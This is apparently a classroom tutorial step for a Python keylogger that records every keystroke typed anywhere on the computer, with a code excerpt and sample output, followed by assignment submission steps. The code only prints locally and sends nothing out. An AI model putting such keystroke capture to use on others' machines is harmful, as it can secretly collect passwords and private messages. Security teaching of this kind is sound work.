

## Part 3: Python Keylogger

### Contents

Part 3: Python Keylogger .....	1
Key Logger 3 .....	1
Assignment Submission.....	3

Time required: 15 minutes

**NOTE:** Please program this series of tutorials in Windows and Linux.

### Key Logger 3

The KeyLogger class init does not change.

We are going to handle the spacebar. We want to see a space in the log rather than key.spacebar

1. Save **frog\_2.py** as **frog\_3.py**
2. The following has the only changes in the code.

```

27 # ----- PROCESS KEY RELEASE -----#
28 def process_key(self, event):
29     """Callback function whenever a key is released"""
30     # Convert each key release to a string
31     name = event.name
32
33     # If the length of the string is more than 1, it is a special key
34     if len(name) > 1:
35         # The key captured is not a regular character
36         # It is a special key (e.g ctrl, alt, etc.)
37         # Store the space instead of Keycode.space
38         if name == "space":
39             name = " "
40
41         # Press the Esc key to exit the program
42         if name == "esc":
43             print("Exiting Kermit the Frog")
44             os._exit(0)
45     # Append each keystroke to the log
46     self.log = self.log + name
47     # Print the key to the console
48     print(self.log)
49
50
51 # Create program object and start program
52 kermit_the_frog = KermitTheFrog()
53

```

Special keys are longer than 1 character. The only special key we want to display is the space key as a space.

Run the program in both operating systems. You can type anywhere on your computer. Each keystroke will be logged.

Example run:

```
Kermit the Frog Started . . . ribbit ribbit ribbit  
k  
ke  
key  
keyl  
keylo  
keylog  
keylogg  
keylogge  
keylogger  
keylogger  
keylogger i  
keylogger is  
keylogger is  
keylogger is f  
keylogger is fu  
keylogger is fun
```

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## Assignment Submission

1. Attach all program files.
2. Attach a screenshot from Windows and Linux of your results.
3. Submit the assignment in BlackBoard.